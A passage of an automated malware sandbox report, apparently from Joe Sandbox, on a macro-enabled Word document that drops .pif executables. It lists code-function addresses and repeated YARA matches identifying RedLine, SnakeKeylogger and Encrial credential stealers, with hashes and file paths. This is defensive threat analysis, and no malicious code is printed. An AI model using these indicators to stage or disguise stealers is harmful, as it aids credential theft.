          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 16_2_1E45B9D816_2_1E45B9D8
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 16_2_1E45EDE916_2_1E45EDE9
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 16_2_1E45EDF816_2_1E45EDF8
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 16_2_1E45B58016_2_1E45B580
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 16_2_1E45E99016_2_1E45E990
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 16_2_1E45E9A016_2_1E45E9A0
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 16_2_1E466C1816_2_1E466C18
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 16_2_1E467AF016_2_1E467AF0
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 16_2_1E46BEA016_2_1E46BEA0
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 16_2_1E4665C016_2_1E4665C0
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 16_2_1E461A4016_2_1E461A40
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 16_2_1E46EC4016_2_1E46EC40
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 16_2_1E46004016_2_1E460040
          Source: ENQ-0092025.docOLE, VBA macro line: Sub AutoOpen()
          Source: VBA code instrumentationOLE, VBA macro: Module ThisDocument, Function AutoOpenName: AutoOpen
          Source: ENQ-0092025.docOLE indicator, VBA macros: true
          Source: Joe Sandbox ViewDropped File: C:\Users\Public\Libraries\jphwmyiA.pif BDFA725EC2A2C8EA5861D9B4C2F608E631A183FCA7916C1E07A28B656CC8EC0C
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: String function: 0040D606 appears 72 times
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: String function: 0040E1D8 appears 132 times
          Source: C:\Windows\SysWOW64\brightness.exeCode function: String function: 0284881C appears 45 times
          Source: C:\Windows\SysWOW64\brightness.exeCode function: String function: 0283480C appears 931 times
          Source: C:\Windows\SysWOW64\brightness.exeCode function: String function: 028344AC appears 74 times
          Source: C:\Windows\SysWOW64\brightness.exeCode function: String function: 028344D0 appears 33 times
          Source: C:\Windows\SysWOW64\brightness.exeCode function: String function: 02848798 appears 54 times
          Source: C:\Windows\SysWOW64\brightness.exeCode function: String function: 028346A4 appears 244 times
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFCode function: String function: 029946A4 appears 154 times
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFCode function: String function: 029A8798 appears 48 times
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFCode function: String function: 0299480C appears 619 times
          Source: 20.2.jphwmyiA.pif.400000.1.raw.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
          Source: 13.2.Aiymwhpj.PIF.211f67a8.6.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
          Source: 20.2.jphwmyiA.pif.400000.1.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
          Source: 20.1.jphwmyiA.pif.400000.0.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
          Source: 16.1.jphwmyiA.pif.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
          Source: 20.1.jphwmyiA.pif.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
          Source: 12.2.jphwmyiA.pif.25f2a8c6.2.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
          Source: 12.2.jphwmyiA.pif.25f2a8c6.2.raw.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
          Source: 12.2.jphwmyiA.pif.25f2a8c6.2.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
          Source: 16.2.jphwmyiA.pif.1d140000.6.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
          Source: 16.2.jphwmyiA.pif.1d140000.6.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
          Source: 16.2.jphwmyiA.pif.1d140000.6.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
          Source: 20.3.jphwmyiA.pif.283edba0.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
          Source: 20.3.jphwmyiA.pif.283edba0.0.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
          Source: 20.3.jphwmyiA.pif.283edba0.0.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
          Source: 12.3.jphwmyiA.pif.24507b80.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
          Source: 12.3.jphwmyiA.pif.24507b80.0.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
          Source: 12.3.jphwmyiA.pif.24507b80.0.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
          Source: 16.2.jphwmyiA.pif.1d140000.6.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
          Source: 16.2.jphwmyiA.pif.1d140000.6.raw.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
          Source: 16.2.jphwmyiA.pif.1d140000.6.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
          Source: 12.2.jphwmyiA.pif.400000.0.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
          Source: 16.2.jphwmyiA.pif.1cb10000.4.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
          Source: 16.2.jphwmyiA.pif.1cb10000.4.raw.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
          Source: 16.2.jphwmyiA.pif.1cb10000.4.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
          Source: 12.2.jphwmyiA.pif.25f299de.3.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
          Source: 12.2.jphwmyiA.pif.25f299de.3.raw.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
          Source: 12.2.jphwmyiA.pif.25f299de.3.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
          Source: 13.2.Aiymwhpj.PIF.212333d8.7.raw.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
          Source: 8.2.brightness.exe.215f2418.11.raw.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
          Source: 12.2.jphwmyiA.pif.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
          Source: 16.2.jphwmyiA.pif.400000.1.raw.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
          Source: 20.2.jphwmyiA.pif.2c9b0000.5.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
          Source: 20.2.jphwmyiA.pif.2c9b0000.5.raw.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
          Source: 20.2.jphwmyiA.pif.2c9b0000.5.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
          Source: 20.2.jphwmyiA.pif.2c9b0ee8.4.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
          Source: 12.2.jphwmyiA.pif.28730ee8.4.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
          Source: 20.2.jphwmyiA.pif.2c9b0ee8.4.raw.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
          Source: 12.2.jphwmyiA.pif.28730ee8.4.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
          Source: 20.2.jphwmyiA.pif.2c9b0ee8.4.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
          Source: 12.2.jphwmyiA.pif.28730ee8.4.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
          Source: 16.2.jphwmyiA.pif.400000.1.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
          Source: 16.1.jphwmyiA.pif.400000.0.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
          Source: 12.1.jphwmyiA.pif.400000.1.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
          Source: 20.2.jphwmyiA.pif.2a0399de.2.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
          Source: 20.2.jphwmyiA.pif.2a0399de.2.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
          Source: 20.2.jphwmyiA.pif.2a0399de.2.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
          Source: 20.2.jphwmyiA.pif.2a03a8c6.3.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
          Source: 20.2.jphwmyiA.pif.2c9b0ee8.4.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
          Source: 12.2.jphwmyiA.pif.25f2a8c6.2.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
          Source: 20.2.jphwmyiA.pif.2a03a8c6.3.raw.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
          Source: 20.2.jphwmyiA.pif.2c9b0ee8.4.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
          Source: 12.2.jphwmyiA.pif.25f2a8c6.2.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
          Source: 20.2.jphwmyiA.pif.2a03a8c6.3.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
          Source: 12.2.jphwmyiA.pif.25f2a8c6.2.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
          Source: 20.2.jphwmyiA.pif.2c9b0ee8.4.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
          Source: 12.2.jphwmyiA.pif.28730000.5.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
          Source: 12.2.jphwmyiA.pif.28730000.5.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
          Source: 12.2.jphwmyiA.pif.28730000.5.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
          Source: 20.2.jphwmyiA.pif.2d020000.6.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
          Source: 12.1.jphwmyiA.pif.400000.1.raw.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
          Source: 16.2.jphwmyiA.pif.1a1da8c6.2.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
          Source: 20.2.jphwmyiA.pif.2d020000.6.raw.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
          Source: 16.2.jphwmyiA.pif.1a1da8c6.2.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
          Source: 20.2.jphwmyiA.pif.2d020000.6.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
          Source: 16.2.jphwmyiA.pif.1a1da8c6.2.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
          Source: 16.2.jphwmyiA.pif.1cb10000.4.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
          Source: 16.2.jphwmyiA.pif.1cb10ee8.5.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
          Source: 16.2.jphwmyiA.pif.1cb10000.4.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
